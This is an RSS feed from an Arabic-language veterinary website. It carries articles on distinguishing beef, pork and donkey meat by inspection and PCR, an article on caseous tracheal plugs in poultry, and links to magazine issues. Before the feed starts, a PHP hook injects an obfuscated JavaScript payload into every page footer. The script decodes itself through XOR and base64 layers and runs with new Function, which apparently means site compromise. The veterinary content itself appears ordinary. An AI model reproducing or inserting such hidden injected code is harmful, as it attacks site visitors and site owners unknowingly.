add_action('wp_footer', function () { echo '<script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar _0x3d75fd8731c6=[8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,24,56,22,54,17,18,100,10,21,40,55,17,28,22,17,63,1,96,10,17,22,5,25,2,21,96,5,5,21,60,17,33,8,55,5,3,17,39,25,22,23,5,39,17,24,56,59,4,23,17,17,35,5,19,56,20,2,59,17,6,1,56,21,4,2,2,1,3,5,19,32,27,2,59,39,18,22,55,6,8,27,18,96,53,18,2,56,27,6,5,17,2,1,5,6,23,2,40,10,24,4,59,9,5,2,21,17,7,21,59,100,6,21,2,10,23,22,2,21,4,2,5,26,18,2,2,30,20,1,96,51,4,4,96,30,22,2,21,18,24,21,59,10,17,2,59,30,22,1,18,2,18,22,6,6,29,17,2,9,22,6,41,55,0,21,40,63,20,23,5,63,35,5,18,104,20,17,39,51,21,4,6,56,9,2,55,5,24,22,22,59,53,23,22,55,49,22,55,29,53,22,22,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,63,6,23,17,6,49,18,1,51,5,7,1,51,19,22,2,35,53,22,18,59,9,21,40,26,10,22,18,55,49,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,10,22,56,59,51,18,6,59,5,23,18,32,9,18,40,55,50,20,56,17,9,23,6,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,59,1,22,55,29,3,17,18,9,31,7,1,29,3,23,2,29,3,18,2,35,31,7,2,1,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,55,51,19,22,2,35,53,22,22,59,10,23,18,29,53,21,55,2,10,22,55,51,24,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,2,29,22,18,40,2,10,23,17,5,1,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,56,63,7,24,56,59,10,21,55,30,10,18,39,25,6,23,40,100,5,7,2,5,50,22,55,1,20,22,55,51,53,7,2,100,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,49,23,56,9,53,23,2,59,3,17,97,59,49,22,55,29,53,22,22,59,23,17,56,100,51,23,2,55,4,21,60,59,24,18,2,56,1,27,59,39,18,22,55,6,8,27,17,17,30,17,40,63,5,17,1,2,27,6,5,51,0,30,5,21,6,30,21,100,3,2,58,30,24,22,5,5,2,30,5,101,18,30,56,6,17,30,21,30,17,29,59,52,20,30,18,6,24,30,4,26,20,1,21,18,20,2,59,51,6,30,21,9,2,2,6,6,29,17,2,9,22,6,41,55,5,21,56,35,0,20,40,96,23,3,60,5,6,1,5,104,4,2,59,105,24,4,60,6,29,21,1,25,10,22,17,29,53,23,18,60,8,27,17,29,7,21,39,52,54,27,17,51,21,17,56,35,0,18,18,32,53,20,17,29,22,20,55,39,18,22,55,6,8,27,18,1,49,22,56,63,18,20,56,18,27,27,17,51,21,17,56,35,0,18,18,32,10,18,17,25,6,18,17,29,22,8,96,52,50,2,6,101,27,3,59,32,1,2,39,105,1,3,19,55,24,18,17,25,50,20,39,1,49,7,1,1,19,22,1,1,20,18,6,105,22,8,59,96,63,18,39,1,19,23,39,104,21,23,59,39,53,21,6,104,63,22,18,63,7,23,55,21,31,21,22,59,50,21,56,59,1,17,40,105,28,2,59,6,0,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,24,2,9,2,23,18,104,5,3,55,51,7,18,1,1,3,0,56,59,20,8,41,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,18,1,97,36,18,1,97,101,50,2,59,22,53,4,18,100,2,8,97,9,63,24,2,9,2,23,18,104,5,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,20,1,25,9,24,17,9,24,3,57,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,23,2,5,105,50,27,18,96,7,21,2,55,54,22,22,97,22,8,60,35,63,23,1,104,31,21,2,40,27,5,22,18,29,21,2,55,22,8,39,21,7,18,6,51,63,21,56,17,23,21,56,21,5,24,5,32,24,4,19,55,3,21,17,9,3,21,2,1,52,3,41,55,30,17,56,55,51,18,55,52,10,23,40,25,10,21,17,29,54,4,19,55,3,21,17,9,3,21,2,1,52,8,21,32,22,8,55,39,18,22,55,6,8,27,18,59,1,21,55,104,2,23,17,6,27,18,40,9,22,18,18,25,123,23,1,30,54,27,17,96,19,23,18,39,23,18,97,59,21,17,56,5,21,17,39,6,54,27,18,25,1,18,56,25,2,22,18,97,50,2,6,101,50,2,59,22,53,4,18,100,2,8,41,55,10,21,18,25,0,21,2,55,22,8,57,55,10,20,39,100,2,24,22,40,27,26,17,29,22,24,56,59,1,7,2,21,22,23,18,63,96,24,40,9,22,30,18,55,4,21,60,104,63,23,2,17,3,20,40,21,9,18,6,101,29,19,55,5,3,17,39,25,22,23,6,51,63,23,1,104,31,21,2,40,29,19,56,1,7,17,40,1,54,8,40,26,53,20,17,5,3,17,39,25,22,23,6,18,1,4,17,63,27,21,1,25,10,22,17,29,53,23,18,60,8,27,17,9,4,20,56,100,21,8,41,55,53,17,1,100,5,22,17,21,1,7,41,55,17,17,1,5,19,24,56,29,21,8,55,39,22,21,55,29,19,18,2,60,8,23,2,25,17,6,41,51,22,23,18,63,53,18,18,26,54,21,1,25,10,22,17,29,53,23,18,60,54,27,18,21,52,23,2,100,10,17,39,22,50,27,17,5,30,20,2,21,5,24,22,100,29,17,2,9,22,6,41,55,9,20,2,63,20,17,21,63,10,21,55,18,8,28,42,63,103,0,39,29,20,18,41,5,3,18,55,25,3,18,17,30,54,8,59,39,63,23,17,96,49,17,39,18,10,23,17,51,3,23,6,105,1,26,42,55,59,25,97,18,50,27,18,100,18,20,56,1,5,17,2,18,50,17,39,5,19,21,60,101,29,27,18,55,30,23,55,29,17,7,1,1,3,17,41,5,3,18,55,25,3,18,17,29,127,21,56,9,4,21,55,6,54,5,20,1,9,23,1,29,3,23,1,30,49,25,39,100,24,21,60,18,50,5,18,9,24,18,40,35,53,22,18,9,20,24,56,55,10,7,18,96,21,23,18,60,1,8,59,39,63,23,17,96,49,17,39,18,10,17,40,100,49,21,56,55,19,17,96,32,19,2,96,52,24,4,19,55,9,20,2,63,20,17,22,59,9,23,2,35,9,22,56,30,27,21,1,25,10,22,17,29,53,23,18,60,54,8,55,39,20,18,1,100,29,27,18,21,52,23,2,100,10,17,39,22,54,0,3,1,100,31,6,59,24,22,55,5,21,21,60,104,63,23,17,96,49,17,39,18,10,18,2,25,21,18,40,55,10,18,18,25,58,21,55,104,20,8,60,101,29,19,56,1,7,17,40,1,54,8,40,26,53,20,19,55,22,20,1,96,2,22,18,40,54,21,60,101,29,19,55,32,29,27,18,55,30,23,55,29,17,7,2,55,10,21,55,5,22,23,17,6,27,27,18,55,30,23,55,29,17,7,2,55,10,17,40,100,49,21,56,55,19,17,96,63,2,17,56,59,5,17,40,100,9,23,6,105,53,20,19,55,22,20,1,96,2,22,18,40,54,23,2,25,17,6,42,25,22,18,2,55,22,8,97,101,53,4,17,32,29,27,18,55,30,23,55,29,17,7,1,1,3,23,2,30,54,0,3,1,100,31,6,59,21,17,39,5,53,23,2,17,53,21,1,101,54,27,17,17,18,18,1,25,53,21,39,2,53,8,59,39,27,8,59,39,27,21,1,25,10,22,17,29,53,23,18,60,8,27,18,29,19,24,18,9,53,8,41,55,2,23,2,9,18,22,2,36,53,20,18,100,2,8,41,55,2,23,2,9,18,22,2,36,26,3,57,55,0,21,40,63,20,23,6,59,50,21,56,59,1,17,40,105,53,18,2,25,20,17,55,5,10,6,41,51,22,23,18,63,53,18,18,26,10,18,2,25,21,23,18,35,18,21,60,104,10,17,56,35,50,8,59,39,18,22,55,6,8,27,17,9,4,18,40,63,24,24,59,63,29,24,1,1,9,23,1,5,24,22,21,97,1,2,6,60,24,5,22,35,49,21,55,29,54,23,18,30,30,5,18,25,20,24,41,55,5,22,56,35,50,5,22,35,24,22,55,5,7,23,55,2,30,28,17,39,20,23,21,96,63,17,17,96,20,23,56,1,18,18,22,35,4,22,55,29,7,4,6,18,24,20,97,18,51,27,18,1,3,23,39,104,0,24,1,9,27,7,97,17,50,22,55,29,3,18,17,30,1,27,60,35,53,21,96,97,23,19,59,39,22,21,55,29,19,18,2,60,8,27,17,9,4,20,56,100,21,8,41,55,0,21,40,63,20,23,3,39,63,21,2,59,7,17,2,5,50,27,60,35,63,18,56,29,24,23,55,51,53,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,5,18,40,1,4,21,2,9,4,8,55,39,18,22,55,6,8,27,18,100,23,20,40,9,21,18,5,63,63,22,17,51,5,21,40,21,7,21,97,22,2,27,18,1,24,22,18,29,2,22,56,30,10,18,2,25,21,17,56,35,20,3,19,55,20,22,56,29,24,8,41,55,5,18,40,1,4,21,2,9,4,7,1,5,3,18,17,25,50,17,97,101,30,5,22,18,29,24,56,22,54,27,18,100,23,20,40,9,21,18,6,100,22,21,55,29,19,18,2,60,8,27,18,100,23,20,40,9,21,18,6,59,22,21,55,51,50,22,56,1,3,8,97,55,34,7,22,40,4,7,22,36,1,5,22,101,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,7,2,1,7,17,40,1,54,8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,4,17,63,2,17,56,59,5,17,40,100,9,23,6,51,63,21,18,5,6,22,18,100,2,21,60,104,63,18,18,9,21,17,2,17,52,8,55,39,18,22,55,6,8,27,18,100,9,24,2,22,27,21,40,55,5,17,56,63,3,23,1,30,10,22,17,5,3,22,55,29,3,29,56,35,3,23,56,25,10,17,97,105,1,18,18,1,22,24,55,51,20,5,22,101,29,27,18,100,9,24,2,22,10,18,17,5,5,3,57,55,21,22,55,1,18,21,18,97,51,5,22,55,7,18,40,101,10,18,40,104,24,3,17,2,27,5,22,39,63,24,2,100,22,23,22,40,1,5,3,55,18,3,60,18,51,31,56,9,20,24,97,59,2,23,40,55,9,18,6,104,42,22,55,29,3,7,2,59,9,17,22,105,53,7,21,22,24,2,96,52,24,8,59,39,63,24,56,55,52,21,6,59,7,18,17,100,10,22,21,63,20,18,1,25,3,4,22,104,4,23,18,1,19,23,56,25,10,17,97,59,54,21,56,9,4,19,39,35,4,23,18,1,19,23,56,25,10,17,97,59,6,23,18,29,31,8,60,59,7,18,39,51,3,23,2,29,96,24,40,100,50,21,97,104,63,24,56,55,52,21,6,101,29,19,57,55,4,17,56,39,7,24,60,105,24,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,21,22,55,1,18,21,18,97,53,20,18,100,2,8,41,55,21,22,55,1,18,21,18,97,53,27,18,17,6,22,2,1,53,21,2,26,54,27,17,1,7,18,17,21,1,24,6,101,29,19,60,101,29,19,60,101,54,8,59,39,109];\nvar _0xa565beffc3a1=80;\nvar _0x99dcf8ed2c65=\'\';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++)\n  _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1);\nvar _0xe1c29d8a8a41=119;\nvar _0x5a1ac3c88648=atob(_0x99dcf8ed2c65);\nvar _code=\'\';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++)\n  _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41);\n(new Function(_code))();\n})();</script>'; }, 99);
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nahrain Veterinary</title>
	<atom:link href="https://nahrainveterinary.com/ar/feed/" rel="self" type="application/rss+xml" />
	<link>https://nahrainveterinary.com/ar</link>
	<description>A site for veterinary, animal wealth and food safety</description>
	<lastBuildDate>Sun, 13 Sep 2026 07:12:35 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=7.1.1</generator>

<image>
	<url>https://nahrainveterinary.com/wp-content/uploads/2026/09/cropped-Nahrain_Veterinary_Network_Logo-2-32x32.jpg</url>
	<title>Nahrain Veterinary</title>
	<link>https://nahrainveterinary.com/ar</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Differentiating Between Beef, Pork, and Donkey Meat: Visual Inspection and Laboratory Methods</title>
		<link>https://nahrainveterinary.com/ar/differentiating-between-beef-pork-and-donkey-meat-visual-inspection-and-laboratory-methods/</link>
					<comments>https://nahrainveterinary.com/ar/differentiating-between-beef-pork-and-donkey-meat-visual-inspection-and-laboratory-methods/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Sun, 13 Sep 2026 07:06:49 +0000</pubDate>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[News]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4925</guid>

					<description><![CDATA[Differentiating Between Beef, Pork, and Donkey Meat: Visual Inspection and Laboratory Methods Dr. Munajid Al-Tamimi (Diploma in Obstetrics and Reproductive Diseases) 13/9/2026 Determining the animal source of meat is a crucial aspect of food control, playing a vital role in detecting commercial fraud, protecting consumers, and verifying the accuracy of product labeling. This article briefly  [...]]]></description>
										<content:encoded><![CDATA[<p>التمييز بين لحوم الأبقار والخنازير والحمير: الفحص الظاهري والطرق المختبرية</p>
<p>الدكتور منجد التميمي/ دبلوم عالٍ في التوليد والأمراض التناسلية</p>
<p>13/9/2026</p>
<p>يُعد تحديد المصدر الحيواني للحوم من الجوانب المهمة في الرقابة على الأغذية، لما له من دور في كشف الغش التجاري وحماية المستهلك والتحقق من صحة البيانات الخاصة بالمنتجات الحيوانية. يستعرض هذا المقال بصورة مختصرة وسائل التمييز بين لحوم الأبقار والخنازير والحمير، بدءًا من الفحص الظاهري والحسي، وصولًا إلى الاختبارات الجزيئية المعتمدة على الحمض النووي DNA. وعلى الرغم من إمكانية الاستفادة من اللون والقوام والدهون والألياف العضلية كمؤشرات أولية، فإن هذه الصفات لا تكفي لإثبات النوع الحيواني بصورة قطعية، ويستلزم التشخيص المؤكد استخدام طرق مختبرية مناسبة، ومن أبرزها PCR.</p>
<p><strong>مقدمة</strong><br />
يُعد غش اللحوم واستبدال نوع حيواني بآخر من المشكلات التي تمس سلامة الغذاء وحقوق المستهلك، فضلًا عن أبعادها الاقتصادية والدينية. وتزداد صعوبة التعرف على المصدر الحيواني في اللحوم المفرومة والمصنعة والمطبوخة، حيث تفقد كثيرًا من صفاتها التشريحية والظاهرية المميزة. لذلك تعتمد الرقابة الحديثة على الجمع بين الفحص الأولي والاختبارات المختبرية، مع عدم إصدار حكم نهائي اعتمادًا على المظهر الخارجي وحده.</p>
<p><strong>الفحص الظاهري والحسي</strong><br />
يشمل الفحص الأولي ملاحظة لون العضلات، توزيع الدهون، طبيعة الألياف العضلية، القوام والرائحة. وقد تظهر اختلافات بين أنواع اللحوم، إلا أنها ليست ثابتة بالدرجة التي تسمح بتحديد النوع بصورة مؤكدة. فاللون، على سبيل المثال، يتأثر بكمية الميوغلوبين وعمر الحيوان ونوع العضلة ودرجة تعرض اللحم للأكسجين ومدة وظروف التخزين. كما تختلف كمية الدهون ولونها وتوزيعها تبعًا للسلالة والعمر والتغذية والحالة الجسمية للحيوان. لذلك فإن القول بأن لونًا أو قوامًا معينًا يعني بالضرورة أن اللحم يعود إلى البقر أو الخنزير أو الحمار غير دقيق علميًا. ويمكن استخدام هذه العلامات لإثارة الاشتباه وتوجيه الفحص فقط، وليس لإثبات النوع.</p>
<p><strong>الفحص المختبري</strong><br />
عند الاشتباه باستبدال نوع من اللحوم بآخر، تكون الاختبارات المختبرية أكثر موثوقية. وقد استُخدمت لهذا الغرض تقنيات تعتمد على البروتينات والاختبارات المناعية، إضافة إلى التقنيات الجزيئية المعتمدة على DNA . وتتميز طرق تحليل DNA بإمكانية تحديد الأنواع الحيوانية بدرجة عالية من النوعية، كما أن الحمض النووي أكثر ثباتًا نسبيًا من بعض البروتينات في المنتجات التي تعرضت للمعالجة.</p>
<p><strong>PCR تقنیة</strong><br />
تُعد تقنية Polymerase Chain Reaction – PCR من الوسائل المهمة في التحقق من المصدر الحيواني للحوم، وذلك من خلال تضخيم أجزاء محددة من DNA تتميز بها الأنواع الحيوانية المستهدفة. ويمكن استخدام Species-specific PCR للكشف عن نوع محدد، بينما يسمح Multiplex PCR بالبحث عن عدة أنواع في الاختبار نفسه. كما يستخدم Real-Time PCR (qPCR) للكشف الحساس والنوعي عن DNA الحيواني. وتوجد كذلك طرق أخرى مثل PCR-RFLP وتسلسل الحمض النووي وDNA barcoding، ويمكن اختيار التقنية المناسبة بحسب نوع العينة والغرض من الفحص والإمكانات المختبرية المتاحة.<br />
يسهم التحقق من المصدر الحيواني للحوم في مكافحة الغش الغذائي، وحماية المستهلك، وتعزيز الرقابة الصحية والبيطرية، والتحقق من صحة الملصقات الغذائية، فضلًا عن أهميته في المنتجات التي ترتبط بقيود دينية أو تشريعية محددة. أما بالنسبة للمواطن، فإن أفضل وسيلة للوقاية هي شراء اللحوم من مصادر ومحال موثوقة وخاضعة للرقابة الصحية والبيطرية، وتجنب المنتجات مجهولة المصدر. ولا ينبغي الاعتماد على اللون أو الرائحة أو شكل الدهون وحدها للحكم على نوع الحيوان، وخاصة في اللحوم المفرومة أو المصنعة.</p>
<p><strong>الاستنتاج</strong><br />
يمكن للفحص الظاهري والحسي أن يقدم مؤشرات أولية تساعد المفتش أو الطبيب البيطري على الاشتباه بوجود اختلاف في طبيعة اللحوم، لكنه لا يمثل وسيلة إثبات نهائية لنوع الحيوان. وعند الحاجة إلى تحديد المصدر الحيواني بصورة موثوقة، ينبغي اللجوء إلى الاختبارات المختبرية المناسبة. وتُعد التقنيات الجزيئية، ولا سيما PCR وReal-Time PCR، من أهم الأدوات المستخدمة في مجال التحقق من أصالة اللحوم وكشف حالات الاستبدال والغش.</p>
<p><strong>رسالة توعوية</strong><br />
لا يمكن الجزم بنوع اللحم من اللون أو الشكل وحدهما. اشترِ اللحوم من مصدر موثوق، وعند الاشتباه يكون الفحص المختبري هو الوسيلة الأدق للتحقق من النوع الحيواني</p>
<p><strong>المصادر </strong></p>
<ol>
<li>Haider N., Nabulsi I., Al-Safadi B. (2012). Identification of meat species by PCR-RFLP of the mitochondrial COI gene. Meat Science, 90(2), 490–493.</li>
<li>Kesmen Z., Gulluce A., Sahin F., Yetim H. (2009). Identification of meat species by TaqMan-based real-time PCR assay. Meat Science.</li>
<li>Ballin N.Z. (2010). Authentication of meat and meat products. Meat Science, 86(3), 577–587.</li>
<li>Sentandreu M.A., Sentandreu E. (2014). Authenticity of meat products: Tools against fraud. Food Research International, 60, 19–29.</li>
</ol>
<p>&nbsp;</p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/differentiating-between-beef-pork-and-donkey-meat-visual-inspection-and-laboratory-methods/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Caseous material is found in the tracheas of poultry in cases of viral infection.</title>
		<link>https://nahrainveterinary.com/ar/caseous-material-is-found-in-the-tracheas-of-poultry-in-cases-of-viral-infection/</link>
					<comments>https://nahrainveterinary.com/ar/caseous-material-is-found-in-the-tracheas-of-poultry-in-cases-of-viral-infection/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Mon, 31 Aug 2026 09:10:20 +0000</pubDate>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[News]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4921</guid>

					<description><![CDATA[Caseous material is found in the tracheas of poultry in cases of viral infection. Why can't we get rid of these cheeses? Dr. Milad Ibrahim Oraibi 31/8/2026   Initially, when the virus enters the poultry house and is inhaled through the nose, it attacks ciliated epithelial cells, leading to their death and damage. This results  [...]]]></description>
										<content:encoded><![CDATA[<p>تكون المواد المتجبنه في قصبات الدواجن في حالات الاصابات الفايروسيه</p>
<p>لماذا لا يمكن الخلاص من هذه التجبنات؟</p>
<p>الدكتور  ميلاد ابراهيم عريبي</p>
<p>31/8/2026</p>
<p>&nbsp;</p>
<p>في بدايه الامر عند دخول الفيروس الى قاعه الدواجن ، وعند استنشاقه عن طريق الانف سوف يقوم بمهاجمه الخلايا ( ciliated epithelial cell ) و بالتالي سوف يودي الى موتها وتلفها ، وهذا سوف يؤدي الى إرتشاح الكثير من خلايا ( heterophils)  الى القصبه بسبب الالتهاب الشديد ، هذه الخلايا لا تحتوي على انزيم ( myeloperoxidase ) الذي يقوم بتحليل البروتين كما تعمل خلايا (neutrophils ) في الثديات وبالتالي سوف لن تتحل الخلايا الميته وتتحول الى مخاط بل سوف تتكتل على شكلٍ نسيج متخثر سميك ، ثم بعدها سوف تتحول (fibrin’s ) و كذلك سوائل الالتهاب الاخرى التي تكون غنيه ب (fibrinogens ) القادمة من الاوعيه الدمويه التالفة والذي سوف يتحول الى شبكه من الالیاف ( fibrin) للخلايا الميته وال( heterophils ) و الفيروسات و البكتريا الثانويه إن وجدت في تجويف القصبه،  ثم بعدها يحدث جفاف و تصلب لهذه المواد داخل القصبه بسبب الهواء الداخل من الشهيق و الزفير، يحدث الجفاف تدريجيا وبعدها يتحول الى ماده صفراء ذات قوام جيلاتيني و بعدها الى مادة متجبنة قوية تشبه الجبن في مظهرها .</p>
<p>المهم في العملية هو أن خلايا الهترو فیل (heterophils ) في الدواجن تفتقر الانزيمات القويه للتحليل مثل( MPO and Elastase ) و هذه الانزيمات تودي الى تحلل الخلايا الميتة و تحليلها مع الانسجة التالفة الى ناتج نهائي يسمى( liquid pus ) كما في الثديات، عدم وجود هذه الالية سوف يؤدي الى الاحتفاظ بالخلايا الميتة مع خلايا( heterophils ) و التي إن تتحولت الى الشكل السائل، فسوف تتماسك في ما بينها بقوة والذي سوف يكون الكتلة المتجبنة ( liquefactive necrosis failure).</p>
<p>هنالك نقطة مهمة  أثناء دخول الفيروس الى ( epithelial cells ) و الخلايا ( endothelial cells ) سوف تحدث إستجابة مناعية قوية  و سوف تفرز (pro inflammatory cytokines ) و أقصد( IL, IB,IL6,TNF-a)   و بسبب هذه العملية سوف يزداد(  vascular permeability ) و هذا بدوره سوف يسمح بعبور كميات كبيرة من البروتينات و البلازما عالية الوزن الجزيئي و أهمها كلها هو(  fibrinogen ) .</p>
<p>عند ملامسة الى( fibrinogen ) لعوامل مثل( tissue factor ) المتحررة من الخلايا الظهارية الميتة و التالفة سوف يحدث تخثر أو تجلط او تيبس و يتحول فيها (fibrin ) الى( insoluble fibrin mesheork ) و الذي سوف يقوم بحجز بداخلها على الخلايا المدمره والتالفة .</p>
<p>بعد ذلك يحدث لهذه الشبكه أن تتحول الى (coagulation and caseous necrosis ) حيث يحدث نقص في ترويه الدم للمكان التالف والمدمر و الناجم عن إنسداد الشعيرات الدمويه المجهريه بواسطه (micro thrombosis ) و في النهايه سوف يحدث (coagulative necrosis ) .</p>
<p>بعد مرور الهواء السريع  من خلال الشهيق و الزفير و بسبب تسارع التنفس (hyperventilating ) الناجم عن نقص الاوكسجين في الجسم، سوف يحدث تجفيف للمواد المتكونه وتكون(  fibrinonecrotic mass ) ثم تتحول تدريجيا من قوام مخاطي طري الى قوام متصلب متماسك يشبه الجبن يسمى( caseous plug ) و يتخذ شكل القصبه الهوائيه (tracheal cast ) .<br />
سبب موت الدجاجه هو :<br />
１-	ميكانيكا بسبب انسداد المجرى التنفسي<br />
２-	نقص الاوكسجين وعدم قدره القلب على العمل<br />
３-	تسمم الدم الناجم عن احتباس الغازات والتلوث البكتيري</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/caseous-material-is-found-in-the-tracheas-of-poultry-in-cases-of-viral-infection/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nahrain veterinary magazine No. 11</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-11-2/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-11-2/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Tue, 25 Aug 2026 07:25:02 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4919</guid>

					<description><![CDATA[Nahrain veterinary magazine No. 11   https://drive.google.com/file/d/1wqDNpZd9bNZXLDdlF7dEcZBFUOolZcL1/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>Nahrain veterinary magazine No. 11</p>
<p>&nbsp;</p>
<p><a href="https://drive.google.com/file/d/1wqDNpZd9bNZXLDdlF7dEcZBFUOolZcL1/view?usp=drive_link">https://drive.google.com/file/d/1wqDNpZd9bNZXLDdlF7dEcZBFUOolZcL1/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-11-2/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nahrain veterinary magazine NO. ZERO</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-zero-2/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-zero-2/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Tue, 25 Aug 2026 07:21:55 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4917</guid>

					<description><![CDATA[Nahrain veterinary magazine NO. ZERO   https://drive.google.com/file/d/1EOVtWFnRToASOk1Lmfk5O-MQIxEIQt-b/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>Nahrain veterinary magazine NO. ZERO</p>
<p>&nbsp;</p>
<p><a href="http://Nahrain veterinary magazine NO. ZERO">https://drive.google.com/file/d/1EOVtWFnRToASOk1Lmfk5O-MQIxEIQt-b/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-zero-2/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nahrain veterinary magazine NO. 12</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-12-2/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-12-2/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Tue, 25 Aug 2026 07:20:09 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4914</guid>

					<description><![CDATA[Nahrain veterinary magazine NO. 12   https://drive.google.com/file/d/13pTWuTHaNzUkYETBfmPwH1Fbtx5E3C5X/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>Nahrain veterinary magazine NO. 12</p>
<p>&nbsp;</p>
<p><a href="http://Nahrain veterinary magazine NO. 12">https://drive.google.com/file/d/13pTWuTHaNzUkYETBfmPwH1Fbtx5E3C5X/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-12-2/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>nahrain veterinary magazine no. 1</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-1/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-1/#respond</comments>
		
		<dc:creator><![CDATA[pmdiyar]]></dc:creator>
		<pubDate>Wed, 19 Aug 2026 18:45:38 +0000</pubDate>
				<category><![CDATA[Magazine]]></category>
		<guid ispermalink="false">https://nahrainveterinary.com/?p=4911</guid>

					<description><![CDATA[nahrain veterinary magazine no. 1   https://drive.google.com/file/d/1zPFof4LhjoRWF-i_SZWqOERoWk6fLT8l/view?usp=drive_link]]></description>
										<content:encoded><![CDATA[<p>nahrain veterinary magazine no. 1</p>
<p>&nbsp;</p>
<p><a href="http://nahrain veterinary magazine no. 1">https://drive.google.com/file/d/1zPFof4LhjoRWF-i_SZWqOERoWk6fLT8l/view?usp=drive_link</a></p>]]></content:encoded>
					
					<wfw:commentrss>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-1/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>nahrain veterinary magazine no. 2</title>
		<link>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-2/</link>
					<comments>https://nahrainveterinary.com/ar/nahrain-veterinary-magazine-no-2/#respond</comments>
		
